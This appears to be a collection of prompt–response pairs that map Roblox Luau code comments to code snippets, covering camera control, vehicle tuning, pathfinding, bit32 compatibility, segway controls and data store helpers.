	local v33 = p11:_GetThirdPersonLocalOffset():Lerp(p11:_GetFirstPersonLocalOffset(v26), v32);
	l__vehicleCameraCore__25:setTransform(v26);
	local v34 = CFrame.new(v26 * v33) * l__vehicleCameraCore__25:step(u1, v29, v28, v32) * v31;
	return v34 * CFrame.new(0, 0, v30), v34;
end;
function v9.ApplyVRTransform(p12)

end;
function v9.EnterFirstPerson(p13)
	p13.inFirstPerson = true;
	p13:UpdateMouseBehavior();
end;
function v9.LeaveFirstPerson(p14)
	p14.inFirstPerson = false;
	p14:UpdateMouseBehavior();
end;
return v9;


Prompt: --Unsprung Weight

Response:
Tune.FWheelDensity	= .1		-- Front Wheel Density
Tune.RWheelDensity	= .1		-- Rear Wheel Density
Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity	= .1		-- Density of structural members


Prompt:
-- upstream: https://github.com/facebook/react/blob/cb141681750c8221ac799074df09df2bb448c7a4/packages/shared/consoleWithStackDev.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]

Response:
local Packages = script.Parent.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local console = LuauPolyfill.console
local Array = LuauPolyfill.Array

local ReactSharedInternals = require(script.Parent.ReactSharedInternals)


Prompt: -- Variables

Response:
local footstepsModule = require(replicatedStorage:WaitForChild("FootstepModule"))

local player = players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")

local rootPart = character:WaitForChild("HumanoidRootPart")


Prompt: -- ROBLOX deviation: omitting imports since they're mostly fs related


Prompt: -- Allow RaycastModule to write to the output

Response: local SHOW_OUTPUT_MESSAGES: boolean = true


Prompt: --[[START]]

Response: _BuildVersion = require(script.Parent.README)


Prompt:
--[[
	Performs property validation if the static method validateProps is declared.
	validateProps should follow assert's expected arguments:
	(false, message: string) | true. The function may return a message in the
	true case; it will be ignored. If this fails, the function will throw the
	error.
]]

Response:
function Component:__validateProps(props)
	if not config.propValidation then
		return
	end

	local validator = self[InternalData].componentClass.validateProps

	if validator == nil then
		return
	end

	if typeof(validator) ~= "function" then
		error(
			("validateProps must be a function, but it is a %s.\nCheck the definition of the component %q."):format(
				typeof(validator),
				self.__componentName
			)
		)
	end

	local success, failureReason = validator(props)

	if not success then
		failureReason = failureReason or "<Validator function did not supply a message>"
		error(
			("Property validation failed in %s: %s\n\n%s"):format(
				self.__componentName,
				tostring(failureReason),
				self:getElementTraceback() or "<enable element tracebacks>"
			),
			0
		)
	end
end


Prompt: -- a better alternative implementation for the wait function

Response:
function wait_time(duration)
    local start = tick()
    local Heartbeat = game:GetService("RunService").Heartbeat
    repeat Heartbeat:Wait() until (tick() - start) >= duration
    return (tick() - start)
end


Prompt:
--[=[
    @interface IClientConfig
    @within Types
    .simulationConfig ISimulationConfig -- The config passed to the Chickynoid [Simulation] class.
]=]

Response:
export type IClientConfig = {
    simulationConfig: ISimulationConfig,
}

return nil


Prompt: -- Module --

Response:
local Datastore2 = require(ReplicatedStorage.Modules.MainModule)
Datastore2.Combine("DATA", "Donated", "Raised") -- This is like the data. 'DATA' is your MASTER KEY!


Prompt: -- The maximum distance the can can shoot, this value should never go above 1000

Response: local Range = 433


Prompt: --[[ NON-STATIC METHODS ]]

Response:
--
function Path:Destroy()
	for _, event in ipairs(self._events) do
		event:Destroy()
	end
	self._events = nil
	if rawget(self, "_visualWaypoints") then
		self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
	end
	self._path:Destroy()
	setmetatable(self, nil)
	for k, _ in pairs(self) do
		self[k] = nil
	end
end

function Path:Stop()
	if not self._humanoid then
		output(error, "Attempt to call Path:Stop() on a non-humanoid.")
		return
	end
	if self._status == Path.StatusType.Idle then
		output(function(m)
			warn(debug.traceback(m))
		end, "Attempt to run Path:Stop() in idle state")
		return
	end
	disconnectMoveConnection(self)
	self._status = Path.StatusType.Idle
	self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
	self._events.Stopped:Fire(self._model)
end

function Path:Run(target)
	self.Visualize = true
	print(self._humanoid)
	--Non-humanoid handle case
	if not target and not self._humanoid and self._target then
		moveToFinished(self, true)
		return
	end

	--Parameter check
	if not (target and (typeof(target) == "Vector3" or target:IsA("BasePart"))) then
		output(error, "Pathfinding target must be a valid Vector3 or BasePart.")
	end

	--Refer to Settings.TIME_VARIANCE
	if os.clock() - self._t <= self._settings.TIME_VARIANCE and self._humanoid then
		task.wait(os.clock() - self._t)
		declareError(self, self.ErrorType.LimitReached)
		return false
	elseif self._humanoid then
		self._t = os.clock()
	end

	--Compute path
	local pathComputed, _ = pcall(function()
		self._path:ComputeAsync(self._agent.PrimaryPart.Position, (typeof(target) == "Vector3" and target) or target.Position)
	end)

	--Make sure path computation is successful
	print(self._path.Status)
	if not pathComputed
		or self._path.Status == Enum.PathStatus.NoPath
		or #self._path:GetWaypoints() < 2
		or (self._humanoid and self._humanoid:GetState() == Enum.HumanoidStateType.Freefall) then
		self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
		task.wait()
		declareError(self, self.ErrorType.ComputationError)
		return false
	end

	--Set status to active; pathfinding starts
	self._status = (self._humanoid and Path.StatusType.Active) or Path.StatusType.Idle
	self._target = target

	--Set network owner to server to prevent "hops"
	pcall(function()
		self._agent.PrimaryPart:SetNetworkOwner(nil)
	end)

	--Initialize waypoints
	self._waypoints = self._path:GetWaypoints()
	self._currentWaypoint = 2

	--Refer to Settings.COMPARISON_CHECKS
	if self._humanoid then
		comparePosition(self)
	end

	--Visualize waypoints
	destroyVisualWaypoints(self._visualWaypoints)
	self._visualWaypoints = (self.Visualize and createVisualWaypoints(self._waypoints))

	--Create a new move connection if it doesn't exist already
	self._moveConnection = self._humanoid and (self._moveConnection or self._humanoid.MoveToFinished:Connect(function(...)
		moveToFinished(self, ...)
	end))

	--Begin pathfinding
	if self._humanoid then
		self._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position)
	elseif #self._waypoints == 2 then
		self._target = nil
		self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)
		self._events.Reached:Fire(self._agent, self._waypoints[2])
	else
		self._currentWaypoint = getNonHumanoidWaypoint(self)
		moveToFinished(self, true)
	end
	return true
end

return Path


Prompt: --[[ Local Functions ]]

Response:
--
function MasterControl:GetHumanoid()
	local character = LocalPlayer and LocalPlayer.Character
	if character then
		if CachedHumanoid and CachedHumanoid.Parent == character then
			return CachedHumanoid
		else
			CachedHumanoid = nil
			for _,child in pairs(character:GetChildren()) do
				if child:IsA('Humanoid') then
					CachedHumanoid = child
					return CachedHumanoid
				end
			end
		end
	end
end


Prompt: ---[[ Chat Behaviour Settings ]]

Response:
module.WindowDraggable = false
module.WindowResizable = true
module.ShowChannelsBar = false
module.GamepadNavigationEnabled = false
module.AllowMeCommand = false -- Me Command will only be effective when this set to true
module.ShowUserOwnFilteredMessage = true	--Show a user the filtered version of their message rather than the original.


Prompt: --!strict

Response:
local ContextActionService = game:GetService("ContextActionService")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")
local GuiService = game:GetService("GuiService")
local Players = game:GetService("Players")

local SpringService = require(script.SpringService)

local UserGameSettings = UserSettings():GetService("UserGameSettings")

local LocalPlayer = Players.LocalPlayer
if RunService:IsClient() then
	while not LocalPlayer do
		Players.PlayerAdded:Wait()
		LocalPlayer = Players.LocalPlayer
	end
end
local Settings = UserSettings()
local GameSettings = Settings.GameSettings

local CAMERA_RENDERSTEP_NAME = "ShoulderCameraUpdate"
local ZOOM_ACTION_NAME = "ShoulderCameraZoom"
local CONTROLLABLE_HUMANOID_STATES = {
	[Enum.HumanoidStateType.Running] = true,
	[Enum.HumanoidStateType.RunningNoPhysics] = true,
	[Enum.HumanoidStateType.Freefall] = true,
	[Enum.HumanoidStateType.Jumping] = true,
	[Enum.HumanoidStateType.Swimming] = false,
	[Enum.HumanoidStateType.Landed] = true
}

local _instance = nil


Prompt:
--
-- Start Lua 5.2 "bit32" compat section.
--

Response:
M.bit32 = {} -- Lua 5.2 'bit32' compatibility

M.bit32.bits = M.bits

M.bit32.cast = M.cast

local function bit32_bnot(x)
  return (-1 - x) % MOD
end
M.bit32.bnot = bit32_bnot

local function bit32_bxor(a, b, c, ...)
  local z
  if b then
    a = a % MOD
    b = b % MOD
    z = bxor(a, b)
    if c then
      z = bit32_bxor(z, c, ...)
    end
    return z
  elseif a then
    return a % MOD
  else
    return 0
  end
end
M.bit32.bxor = bit32_bxor

local function bit32_band(a, b, c, ...)
  local z
  if b then
    a = a % MOD
    b = b % MOD
    z = ((a+b) - bxor(a,b)) / 2
    if c then
      z = bit32_band(z, c, ...)
    end
    return z
  elseif a then
    return a % MOD
  else
    return MODM
  end
end
M.bit32.band = bit32_band

local function bit32_bor(a, b, c, ...)
  local z
  if b then
    a = a % MOD
    b = b % MOD
    z = MODM - band(MODM - a, MODM - b)
    if c then
      z = bit32_bor(z, c, ...)
    end
    return z
  elseif a then
    return a % MOD
  else
    return 0
  end
end
M.bit32.bor = bit32_bor

function M.bit32.btest(...)
  return bit32_band(...) ~= 0
end

function M.bit32.lrotate(x, disp)
  return lrotate(x % MOD, disp)
end

function M.bit32.rrotate(x, disp)
  return rrotate(x % MOD, disp)
end

function M.bit32.lshift(x,disp)
  if disp > 31 or disp < -31 then return 0 end
  return lshift(x % MOD, disp)
end

function M.bit32.rshift(x,disp)
  if disp > 31 or disp < -31 then return 0 end
  return rshift(x % MOD, disp)
end

function M.bit32.arshift(x,disp)
  x = x % MOD
  if disp >= 0 then
    if disp > 31 then
      return (x >= 0x80000000) and MODM or 0
    else
      local z = rshift(x, disp)
      if x >= 0x80000000 then z = z + lshift(2^disp-1, 32-disp) end
      return z
    end
  else
    return lshift(x, -disp)
  end
end

function M.bit32.extract(x, field, ...)
  local width = ... or 1
  if field < 0 or field > 31 or width < 0 or field+width > 32 then error 'out of range' end
  x = x % MOD
  return extract(x, field, ...)
end

function M.bit32.replace(x, v, field, ...)
  local width = ... or 1
  if field < 0 or field > 31 or width < 0 or field+width > 32 then error 'out of range' end
  x = x % MOD
  v = v % MOD
  return replace(x, v, field, ...)
end


Prompt: -- Other

Response:
local IsGettingOff = false
local IsOnSegway = false
local Vector3new, CFramenew, Mathrad, Mathpi, CFrameangles, Raynew = Vector3.new, CFrame.new, math.rad, math.pi, CFrame.Angles, Ray.new

function Hopoff()
	if SegwayObject.Value ~= nil and IsGettingOff == false and SegwayObject.Value.PrimaryPart and SeaterObject.Value ~= nil then
		IsGettingOff = true
		IsOnSegway = false
		local PrimaryPart = SegwayObject.Value.PrimaryPart
		local px,py,pz,xx,yx,zx,xy,yy,zy,xz,yz,zz=PrimaryPart.CFrame:components()

		ContextService:UnbindAction("segInputAction")

		-- Delete welds
		if SeaterObject.Value ~= nil then
			repeat wait() until DeleteWelds:InvokeServer(SeaterObject.Value.Parent) == true or SeaterObject.Value == nil
		end

		-- Resets camera's behavior
		Camera.CameraType = "Custom"

		-- Set gyro to have power
		if Thruster.Value then
			Thruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)
		end

		-- Stops sounds
		if SeaterObject.Value and SeaterObject.Value.Parent:FindFirstChild("Run") then
			StopSound:FireServer(SeaterObject.Value.Parent.Run,0)
			PlaySound:FireServer(SeaterObject.Value.Parent.Off,SeaterObject.Value.Parent.Off.Pitch,SeaterObject.Value.Parent.Off.Volume)
		end

		-- Flips segway if fell over
		if SegwayObject.Value then
			SegwayObject.Value:SetPrimaryPartCFrame(CFramenew(px,py+0.1,pz,1,yx,zx,xy,1,zy,xz,yz,1))
		end

		-- Turn off lights
		ConfigLights:FireServer(0.3,"Bright bluish green",false,"SmoothPlastic",Lights,Notifiers)

		-- Re-parents mobile gui and reshows mobile controls
		GuiControls.Parent = script.Parent
		UserInputService.ModalEnabled = false
		OffButton.ImageColor3 = LiftedColor

		-- Shows tool UI via use with VR
		if UserInputService.VREnabled then
			if PlayerGui and PlayerGui:FindFirstChild("DisplayGui") and PlayerGui:FindFirstChild("ColorGui") then
				PlayerGui:FindFirstChild("DisplayGui").Enabled = true
				PlayerGui:FindFirstChild("ColorGui").Enabled = true
			end

			UpdateCharTrans(0,0)
		end

		-- Disconnect events
		SitListener:disconnect()
		JumpListener:disconnect()

		-- Resets the tilt motor angle
		if TiltMotor.Value then
			TiltMotor.Value.DesiredAngle = 0
		end

		-- Makes the thruster's velocity still
		PrimaryPart.Anchored = true

		-- Makes object values nil
		UndoTags:FireServer()

		-- Configures humanoid
		ConfigHumanoid:InvokeServer(false,true,true)

		-- Unanchors segway
		PrimaryPart.Anchored = false
		PrimaryPart.Velocity = Vector3.new()

		-- Reset direction and steer tags
		Direction = 0
		Steer = 0

		wait(1)
		UndoHasWelded:FireServer(SeaterObject)

		IsGettingOff = false
	end
end

function UpdateCharTrans(BodyTrans,SegwayTrans)
	-- Changes character's body while VR
	for _,d in pairs(Character:GetDescendants()) do
		if d and d:IsA("BasePart") then
			if (d.Parent:FindFirstChild("Humanoid") or d.Parent:IsA("Accessory")) then
				d.LocalTransparencyModifier = BodyTrans
			else
				d.LocalTransparencyModifier = SegwayTrans
			end
		elseif d and d:IsA("Decal") and d.Name == "face" then
			d.Transparency = BodyTrans
		end
	end
end

function UpdateVRPos()
	if UserInputService.VREnabled and Character and Character.Parent and Character:FindFirstChild("Head") then
		local hpx,hpy,hpz,hxx,hxy,hxz,hyx,hyy,hyz,hzx,hzy,hzz = Character.Head.CFrame:components()

		Camera.CFrame = CFramenew(hpx,hpy,hpz,
			hxx,0,hxz,
			0,1,0,
			hzx,0,hzz
		) + (Vector3new(hxy,hyy,hzy)*2.5) --Height in studs above character's head
	end
end

function Accelerate()
	if IsOnSegway then
		local v = Direction*Thruster.Value.CFrame.lookVector*MaxSpeed.Value
		local NewVelocity = Thruster.Value.Velocity:Lerp(v, 0.05) -- Thrust
		local NewRotVelocity = Vector3new(0,-Steer*TurnSpeed.Value/10,0) -- Steering
		local px,py,pz,xx,xy,xz,yx,yy,yz,zx,zy,zz = Thruster.Value.CFrame:components()

		if yy > 0.7 then -- If segway is upsided
			Thruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)
			Thruster.Value.Velocity = NewVelocity
			Thruster.Value.RotVelocity = NewRotVelocity
		else
			Thruster.Value.BodyGyro.MaxTorque = Vector3new(0,0,0)
		end

	end
end

function CastToGround()
	if Thruster.Value and Thruster.Value.Parent then

		-- Raycast to face segway towards ground
		local px,py,pz,xx,xy,xz,yx,yy,yz,zx,zy,zz = Thruster.Value.CFrame:components()
		local SegDnVect = -Vector3new(xy,yy,zy)
		local Ray = Raynew(Thruster.Value.CFrame.p, SegDnVect*50)
		local hit, position, normal = workspace:FindPartOnRayWithIgnoreList(Ray,{SegwayObject.Value,RayTest})
		local HitDepth = (Thruster.Value.Position-position).magnitude
		local NextRayAngle = (normal-SegDnVect).magnitude

		if hit and hit.CanCollide and NextRayAngle > 1.7 then
			Thruster.Value.BodyGyro.MaxTorque = Vector3new(400000, 0, 400000)
			Thruster.Value.BodyGyro.CFrame = CFramenew(position, position + normal) * CFrameangles(-Mathpi/2, 0, 0)
		end
	end
end

function Sound()
	if Thruster.Value and 0.85+Mathrad(Thruster.Value.Velocity.Magnitude/1.8) <= RunSoundPitchLimit then
		SeaterObject.Value.Parent.Run.Pitch = 0.85+Mathrad(Thruster.Value.Velocity.Magnitude/1.8)
	end
end

function Tilt()
	if Direction ~= 0 then
		TiltMotor.Value.DesiredAngle = Direction/10
		SeaterObject.Value.Parent.Run.Volume = RunSoundVol

	else
		TiltMotor.Value.DesiredAngle = 0

		-- Change sound based on current status
		if Steer == 0 then
			SeaterObject.Value.Parent.Run.Volume = 0
		else --Adjusts the run sound when still and just turning
			SeaterObject.Value.Parent.Run.Volume = RunSoundVol
			SeaterObject.Value.Parent.Run.Pitch = 0.85+Mathrad(Thruster.Value.RotVelocity.Magnitude/1.8)
		end

	end
end

function SetGuiButtons()
	--Exit button
	OffButton.MouseButton1Down:connect(function() OffButton.ImageColor3 = PressedColor end)
	OffButton.MouseButton1Up:connect(function() OffButton.ImageColor3 = LiftedColor Hopoff()end)
	OffButton.MouseLeave:connect(function()OffButton.ImageColor3 = LiftedColor end)

	--Left button pressed/lifted
	LeftButton.MouseButton1Down:connect(function()Steer = -1 LeftButton.ImageColor3 = PressedColor end)
	LeftButton.MouseButton1Up:connect(function()Steer = 0 LeftButton.ImageColor3 = LiftedColor end)
	LeftButton.MouseLeave:connect(function()LeftButton.ImageColor3 = LiftedColor end)

	--Right button pressed/lifted
	RightButton.MouseButton1Down:connect(function()Steer = 1 RightButton.ImageColor3 = PressedColor end)
	RightButton.MouseButton1Up:connect(function()Steer = 0 RightButton.ImageColor3 = LiftedColor end)
	RightButton.MouseLeave:connect(function()RightButton.ImageColor3 = LiftedColor end)

	--Backward button pressed/lifted
	DownButton.MouseButton1Down:connect(function()Direction = -1 DownButton.ImageColor3 = PressedColor end)
	DownButton.MouseButton1Up:connect(function()Direction = 0 DownButton.ImageColor3 = LiftedColor end)
	DownButton.MouseLeave:connect(function()DownButton.ImageColor3 = LiftedColor end)

	--Forward button pressed/lifted
	UpButton.MouseButton1Down:connect(function()Direction = 1 UpButton.ImageColor3 = PressedColor end)
	UpButton.MouseButton1Up:connect(function()Direction = 0 UpButton.ImageColor3 = LiftedColor end)
	UpButton.MouseLeave:connect(function()UpButton.ImageColor3 = LiftedColor end)
end

function onGENInput(actionName,inputState,inputObj)
	if WeldObject.Value ~= nil then
		local Key=inputObj.KeyCode

		-- Hop off segway if press Spacebar, Backspace or controller A button
		if (Key == Enum.KeyCode.Space or Key == Enum.KeyCode.Backspace or Key == Enum.KeyCode.ButtonA) and inputState == Enum.UserInputState.Begin then
			Hopoff()
		end

		--Forward
		if Key == Enum.KeyCode.W or Key == Enum.KeyCode.Up or Key == Enum.KeyCode.ButtonR2 then
			Direction = (inputState == Enum.UserInputState.Begin and 1) or (Direction == 1 and 0) or Direction
		end

		--Backward
		if Key == Enum.KeyCode.S or Key == Enum.KeyCode.Down or Key == Enum.KeyCode.ButtonL2 then
			Direction = (inputState == Enum.UserInputState.Begin and -1) or (Direction == -1 and 0) or Direction
		end

		--Left
		if Key == Enum.KeyCode.D or Key == Enum.KeyCode.Right then
			Steer = (inputState == Enum.UserInputState.Begin and 1) or (Steer == 1 and 0) or Steer
		end

		--Right
		if Key == Enum.KeyCode.A or Key == Enum.KeyCode.Left then
			Steer = (inputState == Enum.UserInputState.Begin and -1) or (Steer == -1 and 0) or Steer
		end
	end
end


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 4.60		 --	[TRANSMISSION CALCULATIONS FOR NERDS]
	Tune.Ratios			= {			 --		SPEED [SPS]	 = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
		--[[Reverse]]	3.484		,--		WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
		--[[Neutral]]	0			,
		--[[ 1 ]]		3.587      	,
		--[[ 2 ]]		2.022		,
		--[[ 3 ]]		1.384		,
		--[[ 4 ]]		1.000		,
		--[[ 5 ]]		0.861		,
		--[[ 6 ]]		0.621		,
	}
	Tune.FDMult			= 1.7			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt: --ignore table stuff

Response:
workspace.DescendantAdded:Connect(function(WHAT)
	if WHAT:IsA("Accessory") or WHAT:IsA("Hat") or WHAT.Name == "HumanoidRootPart" then
		--print("added "..WHAT.Name)
		table.insert(rayignore, WHAT)
	elseif WHAT:IsA("BasePart") and not WHAT.CanCollide then
		--print("found nocollide")
		table.insert(rayignore, WHAT)
	end
end)
workspace.DescendantRemoving:Connect(function(WHAT)
	local findthing = table.find(rayignore, WHAT)
	if findthing then
		--print("removed "..WHAT.Name)
		table.remove(rayignore, findthing)
	end
end)

for i,v in pairs(workspace:GetDescendants()) do
	if v:IsA("Accessory") or v:IsA("Hat") or v.Name == "HumanoidRootPart" then
		--print("added "..v.Name.." on start")
		table.insert(rayignore, v)
	elseif v:IsA("BasePart") and not v.CanCollide then
		--print("found nocollide on start")
		table.insert(rayignore, v)
	end
end


Prompt:
--[[
	Dispatch an action to the store. This allows the store's reducer to mutate
	the state of the application by creating a new copy of the state.

	Listeners on the changed event of the store are notified when the state
	changes, but not necessarily on every Dispatch.
]]

Response:
function Store:dispatch(action)
	if typeof(action) ~= "table" then
		error(("Actions must be tables. " ..
			"Use custom middleware for %q actions."):format(typeof(action)),
			2
		)
	end

	if action.type == nil then
		error("Actions may not have an undefined 'type' property. " ..
			"Have you misspelled a constant? \n" ..
			tostring(action), 2)
	end

	if self._isDispatching then
		error("Reducers may not dispatch actions.")
	end

	local ok, result = pcall(function()
		self._isDispatching = true
		self._state = self._reducer(self._state, action)
		self._mutatedSinceFlush = true
	end)

	self._isDispatching = false

	if not ok then
		self._errorReporter.reportReducerError(
			self._state,
			action,
			{
				message = "Caught error in reducer",
				thrownValue = result,
			}
		)
	end

	if #self._actionLog == ACTION_LOG_LENGTH then
		table.remove(self._actionLog, 1)
	end
	table.insert(self._actionLog, action)
end


Prompt: --Internal functions

Response:
function DataStore:Debug(...)
	if self.debug then
		print(...)
	end
end

function DataStore:_GetRaw()
	if not self.getQueue then
		self.getQueue = Instance.new("BindableEvent")
	end

	if self.getting then
		self:Debug("A _GetRaw is already in motion, just wait until it's done")
		self.getQueue.Event:wait()
		self:Debug("Aaand we're back")
		return
	end

	self.getting = true

	local success, value = self.savingMethod:Get()

	self.getting = false
	if not success then
		error(tostring(value))
	end

	self.value = value

	self:Debug("value received")
	self.getQueue:Fire()

	self.haveValue = true
end

function DataStore:_Update(dontCallOnUpdate)
	if not dontCallOnUpdate then
		for _,callback in pairs(self.callbacks) do
			callback(self.value, self)
		end
	end

	self.haveValue = true
	self.valueUpdated = true
end